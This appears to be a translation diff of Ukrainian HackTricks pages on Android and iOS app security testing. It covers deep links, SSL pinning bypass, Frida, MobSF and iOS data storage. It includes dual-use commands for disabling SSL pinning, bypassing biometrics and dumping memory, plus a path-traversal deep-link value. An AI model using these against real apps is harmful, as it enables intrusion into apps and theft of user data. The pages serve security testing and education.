Щоб знайти **код, який буде виконано в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
Щоб знайти **код, який буде виконуватись в додатку**, перейдіть до активності, викликаної глибоким посиланням, і знайдіть функцію **`onNewIntent`**.
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
@ -388,8 +388,8 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
**Параметри в шляху**
|
||||
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, як-от: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити дані користувачів без токена CSRF і вразлива кінцева точка використовувала правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Ви **також повинні перевірити, чи використовує будь-яке глибоке посилання параметр всередині шляху** URL, наприклад: `https://api.example.com/v1/users/{username}`, у такому випадку ви можете примусити перехід по шляху, отримуючи доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Зверніть увагу, що якщо ви знайдете правильні кінцеві точки всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як ім'я домену), **захоплення облікового запису** (якщо ви можете змінити дані користувачів без токена CSRF, а вразлива кінцева точка використовує правильний метод) та будь-яку іншу вразливість. Більше [інформації про це тут](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Більше прикладів**
|
||||
|
||||
@ -398,7 +398,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
### Перевірка та верифікація транспортного шару
|
||||
|
||||
- **Сертифікати не завжди належним чином перевіряються** Android-додатками. Це звичайна практика для цих додатків ігнорувати попередження та приймати самопідписані сертифікати або, в деяких випадках, повертатися до використання HTTP-з'єднань.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак типу man-in-the-middle (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
- **Переговори під час SSL/TLS рукопожаття іноді є слабкими**, використовуючи небезпечні шифри. Ця вразливість робить з'єднання вразливим до атак "людина посередині" (MITM), що дозволяє зловмисникам розшифровувати дані.
|
||||
- **Витік приватної інформації** є ризиком, коли додатки аутентифікуються за допомогою захищених каналів, але потім спілкуються через незахищені канали для інших транзакцій. Цей підхід не захищає чутливі дані, такі як сесійні куки або дані користувачів, від перехоплення зловмисними особами.
|
||||
|
||||
#### Перевірка сертифікатів
|
||||
@ -407,7 +407,7 @@ _Зверніть увагу, що ви можете **пропустити ім
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера на відповідність відомій копії, збереженій у самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, які обробляють чутливу інформацію.
|
||||
SSL Pinning - це захід безпеки, при якому додаток перевіряє сертифікат сервера проти відомої копії, збереженої в самому додатку. Цей метод є важливим для запобігання атакам MITM. Рекомендується впроваджувати SSL Pinning для додатків, що обробляють чутливу інформацію.
|
||||
|
||||
#### Інспекція трафіку
|
||||
|
||||
@ -415,13 +415,13 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
|
||||
Додатки, що націлені на **API Level 24 і вище**, потребують модифікацій конфігурації безпеки мережі, щоб приймати сертифікат CA проксі. Цей крок є критично важливим для перевірки зашифрованого трафіку. Для інструкцій щодо модифікації конфігурації безпеки мережі, [**зверніться до цього посібника**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватися інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката до сховища не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
Якщо використовується **Flutter**, вам потрібно дотримуватись інструкцій на [**цій сторінці**](flutter.md). Це пов'язано з тим, що просто додавання сертифіката в сховище не спрацює, оскільки Flutter має свій власний список дійсних CA.
|
||||
|
||||
#### Обхід SSL Pinning
|
||||
|
||||
Коли впроваджено SSL Pinning, обхід його стає необхідним для перевірки HTTPS-трафіку. Для цього доступні різні методи:
|
||||
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найбільша перевага цього варіанту полягає в тому, що вам не потрібно мати root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацює.
|
||||
- Автоматично **модифікуйте** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найкраща перевага цього варіанту полягає в тому, що вам не потрібно мати root для обходу SSL Pinning, але вам потрібно буде видалити додаток і перевстановити новий, і це не завжди спрацює.
|
||||
- Ви можете використовувати **Frida** (обговорюється нижче), щоб обійти цю захист. Ось посібник з використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Ви також можете спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF динамічного аналізу** (пояснено нижче)
|
||||
@ -429,17 +429,17 @@ SSL Pinning - це захід безпеки, при якому додаток
|
||||
|
||||
#### Пошук загальних веб-вразливостей
|
||||
|
||||
Важливо також шукати загальні веб-вразливості в додатку. Детальна інформація про виявлення та усунення цих вразливостей виходить за межі цього резюме, але широко висвітлюється в інших джерелах.
|
||||
Важливо також шукати загальні веб-вразливості в додатку. Детальна інформація про виявлення та усунення цих вразливостей виходить за межі цього резюме, але вона широко висвітлюється в інших джерелах.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) - це набір інструментів для динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
|
||||
**Ви можете отримати доступ до працюючого додатку та підключати методи в реальному часі, щоб змінити поведінку, змінити значення, витягти значення, виконати різний код...**\
|
||||
Якщо ви хочете проводити тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
Якщо ви хочете провести тестування безпеки Android-додатків, вам потрібно знати, як використовувати Frida.
|
||||
|
||||
- Дізнайтеся, як використовувати Frida: [**Посібник Frida**](frida-tutorial/index.html)
|
||||
- Дізнайтеся, як використовувати Frida: [**Посібник з Frida**](frida-tutorial/index.html)
|
||||
- Деякі "GUI" для дій з Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection - це чудовий інструмент для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection - це чудово для автоматизації використання Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ви можете знайти деякі чудові скрипти Frida тут: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Спробуйте обійти механізми анти-дебагінгу / анти-Frida, завантажуючи Frida, як вказано в [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (інструмент [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
@ -456,13 +456,13 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Це скине пам'ять у папку ./dump, і там ви можете використовувати grep з чимось на кшталт:
|
||||
Це скине пам'ять у папку ./dump, і там ви зможете використовувати grep з чимось на кшталт:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Чутливі дані в Keystore**
|
||||
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати до них доступ**. Оскільки додатки, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
У Android Keystore є найкращим місцем для зберігання чутливих даних, однак, з достатніми привілеями все ще **можливо отримати доступ** до нього. Оскільки програми, як правило, зберігають тут **чутливі дані у відкритому тексті**, пентести повинні перевіряти це як користувач root або хтось з фізичним доступом до пристрою може бути здатний вкрасти ці дані.
|
||||
|
||||
Навіть якщо додаток зберігав дані в keystore, дані повинні бути зашифровані.
|
||||
|
||||
@ -478,13 +478,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Фонові зображення**
|
||||
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатка**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
Коли ви ставите додаток у фоновий режим, Android зберігає **знімок додатку**, щоб, коли його відновлюють на передній план, він починає завантажувати зображення перед додатком, тому здається, що додаток завантажився швидше.
|
||||
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до нього).
|
||||
Однак, якщо цей знімок містить **чутливу інформацію**, хтось, хто має доступ до знімка, може **викрасти цю інформацію** (зверніть увагу, що вам потрібен root для доступу до неї).
|
||||
|
||||
Знімки зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android надає спосіб **запобігти захопленню знімків екрану, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на знімках екрану або перегляду на небезпечних дисплеях.
|
||||
Android надає спосіб **запобігти захопленню скріншотів, встановивши параметр макета FLAG_SECURE**. Використовуючи цей прапор, вміст вікна вважається безпечним, що запобігає його появі на скріншотах або перегляду на небезпечних дисплеях.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -494,7 +494,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
### Ін'єкція намірів
|
||||
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі широкомовлення, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
Розробники часто створюють проксі-компоненти, такі як активності, сервіси та приймачі трансляцій, які обробляють ці Намір і передають їх методам, таким як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
|
||||
|
||||
Небезпека полягає в тому, що зловмисники можуть спонукати до активації неекспортованих компонентів додатка або отримати доступ до чутливих постачальників контенту, неправильно перенаправляючи ці Намір. Яскравим прикладом є компонент `WebView`, який перетворює URL-адреси на об'єкти `Intent` через `Intent.parseUri(...)` і потім виконує їх, що може призвести до зловмисних ін'єкцій Намір.
|
||||
|
||||
@ -533,7 +533,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
Зверніть увагу, що MobSF може аналізувати **Android**(apk)**, IOS**(ipa) **та Windows**(apx) програми (_Windows програми повинні аналізуватися з MobSF, встановленого на Windows хості_).\
|
||||
Також, якщо ви створите **ZIP** файл з вихідним кодом **Android** або **IOS** програми (перейдіть до кореневої папки програми, виберіть все і створіть ZIP-файл), він також зможе його проаналізувати.
|
||||
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде налаштувати свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **хеш** буде **завантажений** замість файлу.
|
||||
MobSF також дозволяє вам **diff/Compare** аналіз і інтегрувати **VirusTotal** (вам потрібно буде встановити свій API ключ у _MobSF/settings.py_ і активувати його: `VT_ENABLED = TRUE` `VT_API_KEY = <Ваш API ключ>` `VT_UPLOAD = TRUE`). Ви також можете встановити `VT_UPLOAD` на `False`, тоді **hash** буде **завантажений** замість файлу.
|
||||
|
||||
### Допоміжний динамічний аналіз з MobSF
|
||||
|
||||
@ -548,7 +548,7 @@ MobSF також дозволяє вам **diff/Compare** аналіз і інт
|
||||
|
||||
**Frida**
|
||||
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера** та для **моніторингу цікавих API**.\
|
||||
За замовчуванням, він також використовуватиме деякі скрипти Frida для **обходу SSL пінінгу**, **виявлення root** і **виявлення дебагера**, а також для **моніторингу цікавих API**.\
|
||||
MobSF також може **викликати експортовані активності**, захоплювати **скріншоти** з них і **зберігати** їх для звіту.
|
||||
|
||||
Щоб **почати** динамічне тестування, натисніть зелену кнопку: "**Start Instrumentation**". Натисніть "**Frida Live Logs**", щоб побачити журнали, згенеровані скриптами Frida, і "**Live API Monitor**", щоб побачити всі виклики до підключених методів, передані аргументи та повернені значення (це з'явиться після натискання "Start Instrumentation").\
|
||||
@ -565,7 +565,7 @@ MobSF також дозволяє вам завантажувати власні
|
||||
- **Шукати шаблон класу**: Шукати класи за шаблоном
|
||||
- **Трасувати методи класу**: **Трасувати** **весь клас** (дивитися вхідні та вихідні дані всіх методів класу). Пам'ятайте, що за замовчуванням MobSF трасує кілька цікавих методів Android API.
|
||||
|
||||
Коли ви виберете допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Instrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
|
||||
Коли ви виберете допоміжний модуль, який хочете використовувати, вам потрібно натиснути "**Start Intrumentation**" і ви побачите всі виходи в "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -641,7 +641,7 @@ StaCoAn - це **кросплатформений** інструмент, яки
|
||||
|
||||
Концепція полягає в тому, що ви перетягуєте файл вашого мобільного додатку (файл .apk або .ipa) на додаток StaCoAn, і він створить для вас візуальний та портативний звіт. Ви можете налаштувати параметри та словники для отримання індивідуального досвіду.
|
||||
|
||||
Завантажити [остання версію](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Завантажити [остання версія](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Багато Android-додатків реалізують **свої власні канали оновлення “плагінів” або “динамічних функцій”** замість використання Google Play Store. Коли реалізація є небезпечною, зловмисник, здатний перехопити трафік, може надати **произвольний нативний код, який буде завантажено в процес додатка**, що призводить до повного віддаленого виконання коду (RCE) на пристрої – і в деяких випадках на будь-якому зовнішньому пристрої, контрольованому додатком (автомобілі, IoT, медичні пристрої …).
|
||||
Багато Android-додатків реалізують **свої власні канали оновлення “плагінів” або “динамічних функцій”** замість використання Google Play Store. Коли реалізація є небезпечною, зловмисник, здатний перехопити трафік, може постачати **произвольний нативний код, який буде завантажено в процес додатка**, що призводить до повного віддаленого виконання коду (RCE) на пристрої – і в деяких випадках на будь-якому зовнішньому пристрої, контрольованому додатком (автомобілі, IoT, медичні пристрої …).
|
||||
|
||||
Ця сторінка підсумовує реальний ланцюг вразливостей, виявлений у додатку для автомобільної діагностики Xtool **AnyScan** (v4.40.11 → 4.40.40) і узагальнює техніку, щоб ви могли перевірити інші Android-додатки та використати неправильну конфігурацію під час участі в червоній команді.
|
||||
|
||||
|
||||
@ -28,7 +28,7 @@ basic-ios-testing-operations.md
|
||||
|
||||
> [!TIP]
|
||||
> Для наступних кроків **додаток має бути встановлено** на пристрої і вже має бути отримано **IPA файл** додатку.\
|
||||
> Прочитайте сторінку [Основні Операції Тестування iOS](basic-ios-testing-operations.md), щоб дізнатися, як це зробити.
|
||||
> Прочитайте сторінку [Basic iOS Testing Operations](basic-ios-testing-operations.md), щоб дізнатися, як це зробити.
|
||||
|
||||
### Основний Статичний Аналіз
|
||||
|
||||
@ -162,19 +162,19 @@ ios-hooking-with-objection.md
|
||||
|
||||
### Структура IPA
|
||||
|
||||
Структура **IPA файлу** в основному є такою ж, як у **запакованого пакету**. Змінивши його розширення на `.zip`, його можна **розпакувати**, щоб виявити його вміст. У цій структурі **Bundle** представляє повністю упаковану програму, готову до встановлення. Всередині ви знайдете каталог з назвою `<NAME>.app`, який містить ресурси програми.
|
||||
Структура **IPA файлу** в основному є структурою **запакованого архіву**. Змінивши його розширення на `.zip`, його можна **розпакувати**, щоб виявити його вміст. У цій структурі **Bundle** представляє повністю упаковану програму, готову до встановлення. Всередині ви знайдете каталог з назвою `<NAME>.app`, який містить ресурси програми.
|
||||
|
||||
- **`Info.plist`**: Цей файл містить специфічні конфігураційні деталі програми.
|
||||
- **`_CodeSignature/`**: Цей каталог включає plist файл, який містить підпис, що забезпечує цілісність усіх файлів у бандлі.
|
||||
- **`Assets.car`**: Стиснений архів, що зберігає файли активів, такі як іконки.
|
||||
- **`Frameworks/`**: Ця папка містить рідні бібліотеки програми, які можуть бути у формі файлів `.dylib` або `.framework`.
|
||||
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн використання, для кешування тимчасових даних та для додавання функціональності скасування в вашій програмі на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
|
||||
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн-використання, для кешування тимчасових даних та для додавання функціональності скасування до вашого додатку на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
|
||||
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або бандлу.
|
||||
- **en.lproj, fr.proj, Base.lproj**: Це мовні пакети, які містять ресурси для цих конкретних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується.
|
||||
- **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів через цифрові підписи.
|
||||
- **Управління активами**: Файл `Assets.car` використовує стиснення для ефективного управління графічними активами, що є важливим для оптимізації продуктивності програми та зменшення її загального розміру.
|
||||
- **Frameworks та PlugIns**: Ці каталоги підкреслюють модульність iOS програм, дозволяючи розробникам включати повторно використовувані бібліотеки коду (`Frameworks/`) та розширювати функціональність програми (`PlugIns/`).
|
||||
- **Локалізація**: Структура підтримує кілька мов, полегшуючи глобальний доступ до програми, включаючи ресурси для специфічних мовних пакетів.
|
||||
- **Локалізація**: Структура підтримує кілька мов, полегшуючи глобальне охоплення програми, включаючи ресурси для специфічних мовних пакетів.
|
||||
|
||||
**Info.plist**
|
||||
|
||||
@ -204,7 +204,7 @@ $ grep -i <keyword> Info.plist
|
||||
>
|
||||
> Однак обидві папки (папки даних та контейнерів) мають файл **`.com.apple.mobile_container_manager.metadata.plist`**, який пов'язує обидва файли за ключем `MCMetadataIdentifier`.
|
||||
|
||||
Щоб полегшити виявлення каталогу встановлення додатка, встановленого користувачем, **інструмент objection** надає корисну команду `env`. Ця команда розкриває детальну інформацію про каталог для відповідного додатка. Нижче наведено приклад використання цієї команди:
|
||||
Щоб полегшити виявлення каталогу установки додатка, встановленого користувачем, **інструмент objection** надає корисну команду `env`. Ця команда розкриває детальну інформацію про каталог для відповідного додатка. Нижче наведено приклад використання цієї команди:
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||
|
||||
@ -219,51 +219,51 @@ LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||
```bash
|
||||
find /private/var/containers -name "Progname*"
|
||||
```
|
||||
Команди такі як `ps` та `lsof` також можуть бути використані для ідентифікації процесу програми та переліку відкритих файлів відповідно, надаючи інформацію про активні директорії програми:
|
||||
Команди такі як `ps` та `lsof` також можуть бути використані для ідентифікації процесу додатку та переліку відкритих файлів відповідно, надаючи інформацію про активні директорії додатку:
|
||||
```bash
|
||||
ps -ef | grep -i <app-name>
|
||||
lsof -p <pid> | grep -i "/containers" | head -n 1
|
||||
```
|
||||
**Каталог пакету:**
|
||||
**Bundle directory:**
|
||||
|
||||
- **AppName.app**
|
||||
- Це пакет програми, як було показано раніше в IPA, він містить основні дані програми, статичний контент, а також скомпільований бінарний файл програми.
|
||||
- Цей каталог видимий для користувачів, але **користувачі не можуть записувати в нього**.
|
||||
- Контент у цьому каталозі **не резервується**.
|
||||
- Ця директорія видима для користувачів, але **користувачі не можуть записувати в неї**.
|
||||
- Контент у цій директорії **не резервується**.
|
||||
- Вміст цієї папки використовується для **перевірки підпису коду**.
|
||||
|
||||
**Каталог даних:**
|
||||
**Data directory:**
|
||||
|
||||
- **Documents/**
|
||||
- Містить всі дані, створені користувачем. Кінцевий користувач програми ініціює створення цих даних.
|
||||
- Видимий для користувачів і **користувачі можуть записувати в нього**.
|
||||
- Контент у цьому каталозі **резервується**.
|
||||
- Видима для користувачів і **користувачі можуть записувати в неї**.
|
||||
- Контент у цій директорії **резервується**.
|
||||
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/**
|
||||
- Містить всі **файли, які не є специфічними для користувача**, такі як **кеші**, **налаштування**, **куки** та файли конфігурації списку властивостей (plist).
|
||||
- iOS програми зазвичай використовують підкаталоги `Application Support` та `Caches`, але програма може створювати власні підкаталоги.
|
||||
- **Library/Caches/**
|
||||
- Містить **напівпостійні кешовані файли.**
|
||||
- Невидимий для користувачів і **користувачі не можуть записувати в нього**.
|
||||
- Контент у цьому каталозі **не резервується**.
|
||||
- ОС може автоматично видаляти файли цього каталогу, коли програма не працює і місця для зберігання недостатньо.
|
||||
- Невидима для користувачів і **користувачі не можуть записувати в неї**.
|
||||
- Контент у цій директорії **не резервується**.
|
||||
- ОС може автоматично видаляти файли цієї директорії, коли програма не працює і місця для зберігання недостатньо.
|
||||
- **Library/Application Support/**
|
||||
- Містить **постійні** **файли**, необхідні для роботи програми.
|
||||
- **Невидимий** **для** **користувачів** і користувачі не можуть записувати в нього.
|
||||
- Контент у цьому каталозі **резервується**.
|
||||
- **Невидима** **для** **користувачів** і користувачі не можуть записувати в неї.
|
||||
- Контент у цій директорії **резервується**.
|
||||
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
|
||||
- **Library/Preferences/**
|
||||
- Використовується для зберігання властивостей, які можуть **зберігатися навіть після перезапуску програми**.
|
||||
- Інформація зберігається, нешифрована, всередині пісочниці програми у файлі plist з назвою \[BUNDLE_ID].plist.
|
||||
- Інформація зберігається, нешифрована, всередині пісочниці програми у файлі plist під назвою \[BUNDLE_ID].plist.
|
||||
- Усі пари ключ/значення, збережені за допомогою `NSUserDefaults`, можна знайти в цьому файлі.
|
||||
- **tmp/**
|
||||
- Використовуйте цей каталог для запису **тимчасових файлів**, які не потрібно зберігати між запусками програми.
|
||||
- Використовуйте цю директорію для запису **тимчасових файлів**, які не потрібно зберігати між запусками програми.
|
||||
- Містить непостійні кешовані файли.
|
||||
- **Невидимий** для користувачів.
|
||||
- Контент у цьому каталозі не резервується.
|
||||
- ОС може автоматично видаляти файли цього каталогу, коли програма не працює і місця для зберігання недостатньо.
|
||||
- **Невидима** для користувачів.
|
||||
- Контент у цій директорії не резервується.
|
||||
- ОС може автоматично видаляти файли цієї директорії, коли програма не працює і місця для зберігання недостатньо.
|
||||
|
||||
Давайте ближче розглянемо каталог пакету програми iGoat-Swift (.app) всередині каталогу пакету (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
Давайте ближче розглянемо пакет програми iGoat-Swift (.app) у директорії Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
|
||||
```bash
|
||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
|
||||
NSFileType Perms NSFileProtection ... Name
|
||||
@ -375,9 +375,9 @@ ios-basics.md
|
||||
|
||||
Найпоширеніший спосіб зберігання даних у plist файлах - це використання **NSUserDefaults**. Цей plist файл зберігається всередині пісочниці програми в **`Library/Preferences/<appBundleID>.plist`**
|
||||
|
||||
Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** у **plist** **файлі**, але призначений для використання з невеликою кількістю даних.
|
||||
Клас [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) надає програмний інтерфейс для взаємодії з системою за замовчуванням. Система за замовчуванням дозволяє програмі налаштовувати свою поведінку відповідно до **уподобань користувача**. Дані, збережені за допомогою `NSUserDefaults`, можна переглядати в пакеті програми. Цей клас зберігає **дані** в **plist** **файлі**, але призначений для використання з невеликою кількістю даних.
|
||||
|
||||
Ці дані не можуть бути більше доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**.
|
||||
Ці дані більше не можуть бути доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**.
|
||||
|
||||
Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` від objection.
|
||||
|
||||
@ -402,12 +402,12 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
|
||||
```
|
||||
### Core Data
|
||||
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) - це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як свій постійний сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\
|
||||
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) - це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як своє постійне сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\
|
||||
CoreData за замовчуванням не шифрує свої дані. Однак, додатковий шар шифрування може бути доданий до CoreData. Дивіться [GitHub Repo](https://github.com/project-imas/encrypted-core-data) для отримання додаткової інформації.
|
||||
|
||||
Ви можете знайти інформацію про SQLite Core Data додатку за шляхом `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
**Якщо ви можете відкрити SQLite і отримати доступ до чутливої інформації, то ви знайшли неправильну конфігурацію.**
|
||||
**Якщо ви можете відкрити SQLite і отримати доступ до чутливої інформації, то ви виявили неправильну конфігурацію.**
|
||||
```objectivec:Code from iGoat
|
||||
-(void)storeDetails {
|
||||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||||
@ -534,7 +534,7 @@ iOS зберігає куки додатків у **`Library/Cookies/cookies.bin
|
||||
|
||||
Один зі способів запобігти цій поганій поведінці - це поставити чорний екран або видалити чутливі дані перед зйомкою знімка, використовуючи функцію `ApplicationDidEnterBackground()`.
|
||||
|
||||
Нижче наведено приклад методу усунення, який встановить знімок за замовчуванням.
|
||||
Нижче наведено приклад методу виправлення, який встановить знімок за замовчуванням.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -589,7 +589,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
**Рекомендації з безпеки:**
|
||||
|
||||
- Рекомендується вимкнути сторонні клавіатури для підвищення безпеки.
|
||||
- Будьте обережні з функціями автокорекції та автоматичних підказок стандартної клавіатури iOS, які можуть зберігати чутливу інформацію у кеш-файлах, розташованих у `Library/Keyboard/{locale}-dynamic-text.dat` або `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Ці кеш-файли слід регулярно перевіряти на наявність чутливих даних. Рекомендується скинути словник клавіатури через **Налаштування > Загальні > Скинути > Скинути словник клавіатури** для очищення кешованих даних.
|
||||
